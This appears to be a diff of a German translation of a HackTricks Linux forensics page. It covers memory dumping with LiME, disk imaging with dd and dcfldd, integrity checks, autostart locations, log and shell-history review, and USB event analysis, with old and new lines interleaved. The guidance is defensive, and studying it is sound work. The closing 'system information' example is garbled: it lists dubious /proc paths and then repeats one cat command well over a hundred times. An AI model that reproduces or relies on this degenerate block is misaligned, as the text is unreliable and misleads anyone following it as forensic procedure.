In anderen Fällen müssen Sie [**LiME**](https://github.com/504ensicsLabs/LiME) von GitHub herunterladen und mit den richtigen Kernel-Headern kompilieren. Um die **genauen Kernel-Header** der Opfermaschine zu erhalten, können Sie einfach das Verzeichnis `/lib/modules/<Kernel-Version>` auf Ihren Computer kopieren und dann LiME damit **kompilieren**:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -77,18 +78,18 @@ LiME unterstützt 3 **Formate**:
* Gepolstert (wie Raw, aber mit Nullen in den rechten Bits)
* Lime (empfohlenes Format mit Metadaten)
LiME kann auch verwendet werden, um das Dump über das Netzwerk zu **senden**, anstatt es im System zu speichern, indem man etwas wie `path=tcp:4444` verwendet.
LiME kann auch verwendet werden, um das **Dump über das Netzwerk zu senden**, anstatt es im System zu speichern, indem man etwas wie: `path=tcp:4444` verwendet.
### Disk-Imaging
### Festplattenabbildung
#### Herunterfahren
Zunächst müssen Sie das System **herunterfahren**. Dies ist nicht immer eine Option, da das System manchmal ein Produktivserver ist, den sich das Unternehmen nicht leisten kann herunterzufahren.\
Es gibt **2 Möglichkeiten**, das System herunterzufahren: ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem** zu **synchronisieren**, aber es ermöglicht auch möglicherweise der **Malware**, Beweise zu **zerstören**. Der Ansatz "Stecker ziehen" kann **einen gewissen Informationsverlust** mit sich bringen (nicht viel Information geht verloren, da wir bereits ein Abbild des Speichers erstellt haben) und die **Malware hat keine Möglichkeit**, etwas dagegen zu unternehmen. Wenn Sie also **vermuten**, dass möglicherweise eine **Malware** vorhanden ist, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
Zunächst müssen Sie das System **herunterfahren**. Dies ist nicht immer eine Option, da das System manchmal ein Produktionsserver sein wird, den sich das Unternehmen nicht leisten kann herunterzufahren.\
Es gibt **2 Möglichkeiten**, das System herunterzufahren, ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem zu synchronisieren**, erlaubt aber auch möglicherweise der **Malware**, **Beweise zu vernichten**. Der Ansatz "Stecker ziehen" kann zu **einigem Informationsverlust** führen (nicht viel Information geht verloren, da wir bereits ein Abbild des Speichers gemacht haben) und die **Malware wird keine Gelegenheit haben**, etwas dagegen zu unternehmen. Wenn Sie also **vermuten**, dass es eine **Malware** geben könnte, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
#### Erstellen eines Abbilds der Festplatte
Es ist wichtig zu beachten, dass **bevor Sie Ihren Computer mit etwas in Verbindung bringen, das mit dem Fall zusammenhängt**, Sie sicherstellen müssen, dass es als **nur lesend** eingebunden wird, um keine Informationen zu ändern.
Es ist wichtig zu beachten, dass **bevor Sie Ihren Computer mit etwas in Verbindung bringen, das mit dem Fall zusammenhängt**, Sie sicherstellen müssen, dass es als schreibgeschützt eingebunden wird, um eine Änderung von Informationen zu vermeiden.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -97,9 +98,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Voranalyse des Festplattenabbilds
### Voranalyse des Festplattenimages
Erstellen eines Abbilds der Festplatte ohne weitere Daten.
Erstellen eines Festplattenimages ohne weitere Daten.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -152,10 +153,11 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -163,14 +165,14 @@ Erhalten Sie noch heute Zugriff:
### Modifizierte Systemdateien
Linux bietet Tools zur Sicherstellung der Integrität von Systemkomponenten, die zur Erkennung potenziell problematischer Dateien dienen.
Linux bietet Tools zur Sicherstellung der Integrität von Systemkomponenten, die entscheidend sind, um potenziell problematische Dateien zu erkennen.
- **RedHat-basierte Systeme**: Verwenden Sie `rpm -Va` für eine umfassende Überprüfung.
- **Debian-basierte Systeme**: `dpkg --verify` für die erste Überprüfung, gefolgt von `debsums | grep -v "OK$"` (nach der Installation von `debsums` mit `apt-get install debsums`), um mögliche Probleme zu identifizieren.
* **RedHat-basierte Systeme**: Verwenden Sie `rpm -Va` für eine umfassende Überprüfung.
* **Debian-basierte Systeme**: `dpkg --verify` für die erste Überprüfung, gefolgt von `debsums | grep -v "OK$"` (nach der Installation von `debsums` mit `apt-get install debsums`), um etwaige Probleme zu identifizieren.
### Malware/Rootkit-Detektoren
Lesen Sie die folgende Seite, um mehr über Tools zu erfahren, die zur Suche nach Malware nützlich sein können:
Lesen Sie die folgende Seite, um mehr über Tools zu erfahren, die nützlich sein können, um Malware zu finden:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -178,13 +180,12 @@ Lesen Sie die folgende Seite, um mehr über Tools zu erfahren, die zur Suche nac
## Suche nach installierten Programmen
Um effektiv nach installierten Programmen in Debian- und RedHat-Systemen zu suchen, sollten Sie neben manuellen Überprüfungen in gängigen Verzeichnissen auch Systemprotokolle und Datenbanken nutzen.
Um effektiv nach installierten Programmen auf Debian- und RedHat-Systemen zu suchen, sollten Sie Systemprotokolle und Datenbanken in Kombination mit manuellen Überprüfungen in gängigen Verzeichnissen nutzen.
- Bei Debian überprüfen Sie **_`/var/lib/dpkg/status`_** und **_`/var/log/dpkg.log`_**, um Details über die Installation von Paketen abzurufen, und verwenden Sie `grep`, um nach spezifischen Informationen zu filtern.
* Für Debian überprüfen Sie _**`/var/lib/dpkg/status`**_ und _**`/var/log/dpkg.log`**_, um Details zu Paketinstallationen abzurufen, und verwenden Sie `grep`, um nach spezifischen Informationen zu filtern.
* RedHat-Benutzer können die RPM-Datenbank mit `rpm -qa --root=/mntpath/var/lib/rpm` abfragen, um installierte Pakete aufzulisten.
- RedHat-Benutzer können die RPM-Datenbank mit `rpm -qa --root=/mntpath/var/lib/rpm` abfragen, um installierte Pakete aufzulisten.
Um Software zu finden, die manuell oder außerhalb dieser Paketverwaltungsprogramme installiert wurde, erkunden Sie Verzeichnisse wie **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_** und **_`/sbin`_**. Kombinieren Sie Verzeichnisauflistungen mit systemspezifischen Befehlen, um ausführbare Dateien zu identifizieren, die nicht mit bekannten Paketen in Verbindung stehen, und verbessern Sie so Ihre Suche nach allen installierten Programmen.
Um Software zu entdecken, die manuell oder außerhalb dieser Paketverwaltungsprogramme installiert wurde, erkunden Sie Verzeichnisse wie _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ und _**`/sbin`**_. Kombinieren Sie Verzeichnisauflistungen mit systemspezifischen Befehlen, um ausführbare Dateien zu identifizieren, die nicht mit bekannten Paketen in Verbindung stehen, und verbessern Sie so Ihre Suche nach allen installierten Programmen.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -200,10 +201,11 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um einfach **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute noch Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -215,23 +217,9 @@ cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Überprüfen von Autostart-Orten
### Geplante Aufgaben
Scheduled Tasks sind Aufgaben, die zu bestimmten Zeiten oder Ereignissen automatisch ausgeführt werden. Sie können verwendet werden, um Programme oder Skripte zu starten. In Linux können Sie die geplanten Aufgaben überprüfen, um verdächtige Aktivitäten zu identifizieren.
Um die geplanten Aufgaben in Linux zu überprüfen, können Sie den Befehl `crontab -l` verwenden. Dieser Befehl zeigt die geplanten Aufgaben für den aktuellen Benutzer an.
```bash
$ crontab -l
```
Sie können auch den Inhalt des Verzeichnisses `/etc/cron.d` überprüfen, um weitere geplante Aufgaben zu finden.
```bash
$ ls -l /etc/cron.d
```
Überprüfen Sie die geplanten Aufgaben auf verdächtige Einträge, die auf mögliche Angriffe oder ungewöhnliche Aktivitäten hinweisen könnten.
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
@ -249,66 +237,65 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
Pfade, an denen sich Malware als Dienst installieren könnte:
- **/etc/inittab**: Ruft Initialisierungsskripte wie rc.sysinit auf und leitet sie an Startskripte weiter.
- **/etc/rc.d/** und **/etc/rc.boot/**: Enthalten Skripte für den Start von Diensten, wobei letzteres in älteren Linux-Versionen zu finden ist.
- **/etc/inittab**: Ruft Initialisierungsskripte wie rc.sysinit auf, die dann zu Startskripten weiterleiten.
- **/etc/rc.d/** und **/etc/rc.boot/**: Enthalten Skripte für den Dienststart, wobei letzteres in älteren Linux-Versionen zu finden ist.
- **/etc/init.d/**: Wird in bestimmten Linux-Versionen wie Debian zum Speichern von Startskripten verwendet.
- Dienste können auch über **/etc/inetd.conf** oder **/etc/xinetd/** aktiviert werden, abhängig von der Linux-Variante.
- **/etc/systemd/system**: Ein Verzeichnis für System- und Dienstmanager-Skripte.
- **/etc/systemd/system**: Ein Verzeichnis für System- und Dienstverwaltungsskripte.
- **/etc/systemd/system/multi-user.target.wants/**: Enthält Links zu Diensten, die in einem Multi-User-Runlevel gestartet werden sollen.
- **/usr/local/etc/rc.d/**: Für benutzerdefinierte oder Drittanbieterdienste.
- **~/.config/autostart/**: Für benutzerspezifische automatische Startanwendungen, die ein Versteck für auf Benutzer abzielende Malware sein können.
- **/lib/systemd/system/**: Systemweite Standard-Einheitsdateien, die von installierten Paketen bereitgestellt werden.
- **\~/.config/autostart/**: Für benutzerspezifische automatische Startanwendungen, die ein Versteck für benutzerorientierte Malware sein können.
- **/lib/systemd/system/**: Systemweite Standard-Unit-Dateien, die von installierten Paketen bereitgestellt werden.
### Kernelmodule
### Kernel-Module
Linux-Kernelmodule, die von Malware häufig als Rootkit-Komponenten verwendet werden, werden beim Systemstart geladen. Die für diese Module kritischen Verzeichnisse und Dateien sind:
Linux-Kernel-Module, die von Malware häufig als Rootkit-Komponenten verwendet werden, werden beim Systemstart geladen. Die für diese Module kritischen Verzeichnisse und Dateien sind:
- **/lib/modules/$(uname -r)**: Enthält Module für die aktuell verwendete Kernel-Version.
- **/lib/modules/$(uname -r)**: Enthält Module für die aktuelle Kernelversion.
- **/etc/modprobe.d**: Enthält Konfigurationsdateien zur Steuerung des Modulladens.
- **/etc/modprobe** und **/etc/modprobe.conf**: Dateien für globale Moduleinstellungen.
### Andere Autostart-Positionen
### Andere Autostartpositionen
Linux verwendet verschiedene Dateien, um Programme automatisch beim Benutzerlogin auszuführen, die potenziell Malware beherbergen können:
Linux verwendet verschiedene Dateien, um Programme automatisch beim Benutzerlogin auszuführen, die möglicherweise Malware beherbergen:
- **/etc/profile.d/***, **/etc/profile** und **/etc/bash.bashrc**: Werden bei jedem Benutzerlogin ausgeführt.
- **~/.bashrc**, **~/.bash_profile**, **~/.profile** und **~/.config/autostart**: Benutzerspezifische Dateien, die beim Benutzerlogin ausgeführt werden.
- **/etc/rc.local**: Wird nach dem Start aller Systemdienste ausgeführt und markiert das Ende des Übergangs in eine Multi-User-Umgebung.
- **/etc/profile.d/**\*, **/etc/profile** und **/etc/bash.bashrc**: Wird bei jedem Benutzerlogin ausgeführt.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** und **\~/.config/autostart**: Benutzerspezifische Dateien, die bei deren Anmeldung ausgeführt werden.
- **/etc/rc.local**: Wird ausgeführt, nachdem alle Systemdienste gestartet wurden und markiert das Ende des Übergangs in eine Multiuser-Umgebung.
## Untersuchung von Protokollen
## Überprüfen von Protokollen
Linux-Systeme verfolgen Benutzeraktivitäten und Systemereignisse in verschiedenen Protokolldateien. Diese Protokolle sind entscheidend, um unbefugten Zugriff, Malware-Infektionen und andere Sicherheitsvorfälle zu identifizieren. Zu den wichtigsten Protokolldateien gehören:
Linux-Systeme verfolgen Benutzeraktivitäten und Systemereignisse in verschiedenen Protokolldateien. Diese Protokolle sind entscheidend, um unbefugten Zugriff, Malware-Infektionen und andere Sicherheitsvorfälle zu identifizieren. Wichtige Protokolldateien sind:
- **/var/log/syslog** (Debian) oder **/var/log/messages** (RedHat): Erfassen systemweite Nachrichten und Aktivitäten.
- **/var/log/auth.log** (Debian) oder **/var/log/secure** (RedHat): Protokollieren von Authentifizierungsversuchen, erfolgreichen und fehlgeschlagenen Anmeldungen.
- **/var/log/auth.log** (Debian) oder **/var/log/secure** (RedHat): Protokollieren Authentifizierungsversuche, erfolgreiche und fehlgeschlagene Anmeldungen.
- Verwenden Sie `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`, um relevante Authentifizierungsereignisse zu filtern.
- **/var/log/boot.log**: Enthält Systemstartnachrichten.
- **/var/log/maillog** oder **/var/log/mail.log**: Protokollieren von E-Mail-Serveraktivitäten, nützlich zur Verfolgung von E-Mail-bezogenen Diensten.
- **/var/log/kern.log**: Speichert Kernel-Nachrichten, einschließlich Fehler und Warnungen.
- **/var/log/maillog** oder **/var/log/mail.log**: Protokollieren E-Mail-Serveraktivitäten, nützlich zur Verfolgung von E-Mail-Diensten.
- **/var/log/kern.log**: Speichert Kernelnachrichten, einschließlich Fehler und Warnungen.
- **/var/log/dmesg**: Enthält Gerätetreiber-Nachrichten.
- **/var/log/faillog**: Protokolliert fehlgeschlagene Anmeldeversuche und unterstützt die Untersuchung von Sicherheitsverletzungen.
- **/var/log/cron**: Protokolliert die Ausführung von Cron-Jobs.
- **/var/log/daemon.log**: Verfolgt Aktivitäten von Hintergrunddiensten.
- **/var/log/faillog**: Protokolliert fehlgeschlagene Anmeldeversuche und unterstützt bei Sicherheitsverletzungsuntersuchungen.
- **/var/log/cron**: Protokolliert Cron-Jobausführungen.
- **/var/log/daemon.log**: Verfolgt Hintergrunddienstaktivitäten.
- **/var/log/btmp**: Dokumentiert fehlgeschlagene Anmeldeversuche.
- **/var/log/httpd/**: Enthält Apache HTTPD-Fehler- und Zugriffsprotokolle.
- **/var/log/mysqld.log** oder **/var/log/mysql.log**: Protokollieren von MySQL-Datenbankaktivitäten.
- **/var/log/mysqld.log** oder **/var/log/mysql.log**: Protokollieren MySQL-Datenbankaktivitäten.
- **/var/log/xferlog**: Protokolliert FTP-Dateiübertragungen.
- **/var/log/**: Überprüfen Sie immer auf unerwartete Protokolleinträge.
- **/var/log/**: Überprüfen Sie hier immer auf unerwartete Protokolle.
{% hint style="info" %}
Linux-Systemprotokolle und Überwachungsunterstützung können in einem Eindringlings- oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen in der Regel einige der nützlichsten Informationen über bösartige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es bei der Untersuchung verfügbarer Protokolldateien wichtig, nach Lücken oder nicht in der richtigen Reihenfolge vorhandenen Einträgen zu suchen, die auf Löschung oder Manipulation hinweisen könnten.
Linux-Systemprotokolle und Überwachungssysteme können in einem Eindring- oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen in der Regel einige der nützlichsten Informationen über bösartige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es beim Überprüfen verfügbarer Protokolldateien wichtig, nach Lücken oder falsch sortierten Einträgen zu suchen, die auf Löschungen oder Manipulationen hinweisen könnten.
{% endhint %}
**Linux speichert eine Befehlshistorie für jeden Benutzer**, die in folgenden Dateien gespeichert ist:
**Linux speichert eine Befehlshistorie für jeden Benutzer**, gespeichert in:
- ~/.bash_history
- ~/.zsh_history
- ~/.zsh_sessions/*
- ~/.python_history
- ~/.*_history
- \~/.bash\_history
- \~/.zsh\_history
- \~/.zsh\_sessions/\*
- \~/.python\_history
- \~/.\*\_history
Darüber hinaus liefert der Befehl `last -Faiwx` eine Liste der Benutzeranmeldungen. Überprüfen Sie sie auf unbekannte oder unerwartete Anmeldungen.
Darüber hinaus liefert der Befehl `last -Faiwx` eine Liste der Benutzeranmeldungen. Überprüfen Sie diese auf unbekannte oder unerwartete Anmeldungen.
Überprüfen Sie Dateien, die zusätzliche Berechtigungen gewähren können:
@ -319,21 +306,21 @@ Darüber hinaus liefert der Befehl `last -Faiwx` eine Liste der Benutzeranmeldun
Einige Apps generieren auch ihre eigenen Protokolle:
- **SSH**: Überprüfen Sie _~/.ssh/authorized_keys_ und _~/.ssh/known_hosts_ auf nicht autorisierte Remote-Verbindungen.
- **Gnome Desktop**: Schauen Sie in _~/.recently-used.xbel_ nach kürzlich über Gnome-Anwendungen zugegriffenen Dateien.
- **Firefox/Chrome**: Überprüfen Sie den Browserverlauf und die Downloads in _~/.mozilla/firefox_ oder _~/.config/google-chrome_ auf verdächtige Aktivitäten.
- **VIM**: Überprüfen Sie _~/.viminfo_ auf Details zur Verwendung, wie z. B. aufgerufene Dateipfade und Suchverlauf.
- **Open Office**: Überprüfen Sie den Zugriff auf kürzlich verwendete Dokumente, die auf kompromittierte Dateien hinweisen können.
- **FTP/SFTP**: Überprüfen Sie Protokolle in _~/.ftp_history_ oder _~/.sftp_history_ auf Dateiübertragungen, die möglicherweise nicht autorisiert sind.
- **MySQL**: Untersuchen Sie _~/.mysql_history_ auf ausgeführte MySQL-Abfragen, die möglicherweise nicht autorisierte Datenbankaktivitäten aufdecken.
- **Less**: Analysieren Sie _~/.lesshst_ auf Verlaufsinformationen, einschließlich angezeigter Dateien und ausgeführter Befehle.
- **Git**: Untersuchen Sie _~/.gitconfig_ und das Projekt _.git/logs_ auf Änderungen an Repositories.
- **SSH**: Überprüfen Sie _\~/.ssh/authorized\_keys_ und _\~/.ssh/known\_hosts_ auf nicht autorisierte Remoteverbindungen.
- **Gnome-Desktop**: Sehen Sie sich _\~/.recently-used.xbel_ für kürzlich über Gnome-Anwendungen zugegriffene Dateien an.
- **Firefox/Chrome**: Überprüfen Sie den Browserverlauf und Downloads in _\~/.mozilla/firefox_ oder _\~/.config/google-chrome_ auf verdächtige Aktivitäten.
- **VIM**: Überprüfen Sie _\~/.viminfo_ auf Details zur Verwendung, wie z. B. zugegriffene Dateipfade und Suchverlauf.
- **Open Office**: Überprüfen Sie kürzlich aufgerufene Dokumente, die auf kompromittierte Dateien hinweisen könnten.
- **FTP/SFTP**: Überprüfen Sie Protokolle in _\~/.ftp\_history_ oder _\~/.sftp\_history_ auf Dateiübertragungen, die möglicherweise nicht autorisiert sind.
- **MySQL**: Untersuchen Sie _\~/.mysql\_history_ auf ausgeführte MySQL-Abfragen, die möglicherweise nicht autorisierte Datenbankaktivitäten aufdecken.
- **Less**: Analysieren Sie _\~/.lesshst_ für die Verlaufsnutzung, einschließlich angezeigter Dateien und ausgeführter Befehle.
- **Git**: Überprüfen Sie _\~/.gitconfig_ und Projekt _.git/logs_ auf Änderungen an Repositories.
### USB-Protokolle
[**usbrip**](https://github.com/snovvcrash/usbrip) ist eine kleine Software, die in reinem Python 3 geschrieben ist und Linux-Protokolldateien (`/var/log/syslog*` oder `/var/log/messages*`, abhängig von der Distribution) analysiert, um USB-Ereignishistorien zu erstellen.
[**usbrip**](https://github.com/snovvcrash/usbrip) ist eine kleine Software, die in reinem Python 3 geschrieben ist und Linux-Protokolldateien (`/var/log/syslog*` oder `/var/log/messages*` je nach Distribution) analysiert, um USB-Ereignisverlaufstabellen zu erstellen.
Es ist interessant zu **wissen, welche USB-Geräte verwendet wurden**, und es ist nützlicher, wenn Sie eine autorisierte Liste von USB-Geräten haben, um "Verstoßereignisse" (die Verwendung von USB-Geräten, die nicht in dieser Liste enthalten sind) zu finden.
Es ist interessant zu **wissen, welche USBs verwendet wurden**, und es ist nützlicher, wenn Sie eine autorisierte Liste von USBs haben, um "Verstoßereignisse" zu finden (die Verwendung von USBs, die nicht in dieser Liste enthalten sind).
### Installation
```bash
@ -341,325 +328,6 @@ pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Beispiele
#### Example 1: Collecting System Information
#### Beispiel 1: Sammeln von Systeminformationen
To gather information about the Linux system, you can use the following commands:
Um Informationen über das Linux-System zu sammeln, können Sie die folgenden Befehle verwenden:
```bash
$ uname -a
$ cat /etc/issue
$ cat /etc/*-release
$ cat /proc/version
$ cat /proc/cpuinfo
$ cat /proc/meminfo
$ cat /proc/mounts
$ cat /proc/net/dev
$ cat /proc/net/route
$ cat /proc/net/arp
$ cat /proc/net/tcp
$ cat /proc/net/udp
$ cat /proc/net/raw
$ cat /proc/net/unix
$ cat /proc/net/snmp
$ cat /proc/net/icmp
$ cat /proc/net/igmp
$ cat /proc/net/ipx
$ cat /proc/net/ax25
$ cat /proc/net/appletalk
$ cat /proc/net/nr
$ cat /proc/net/ip_conntrack
$ cat /proc/net/ip_conntrack_expect
$ cat /proc/net/ip6_conntrack
$ cat /proc/net/ip6_conntrack_expect
$ cat /proc/net/ip_tables_names
$ cat /proc/net/ip_tables_matches
$ cat /proc/net/ip_tables_targets
$ cat /proc/net/xt_recent
$ cat /proc/net/xt_recent/DEFAULT
$ cat /proc/net/xt_recent/DEFAULT/expire
$ cat /proc/net/xt_recent/DEFAULT/gc_thresh
$ cat /proc/net/xt_recent/DEFAULT/lock
$ cat /proc/net/xt_recent/DEFAULT/locktime
$ cat /proc/net/xt_recent/DEFAULT/max
$ cat /proc/net/xt_recent/DEFAULT/num
$ cat /proc/net/xt_recent/DEFAULT/refresh
$ cat /proc/net/xt_recent/DEFAULT/timeout
$ cat /proc/net/xt_recent/DEFAULT/uid
$ cat /proc/net/xt_recent/DEFAULT/update
$ cat /proc/net/xt_recent/DEFAULT/use
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
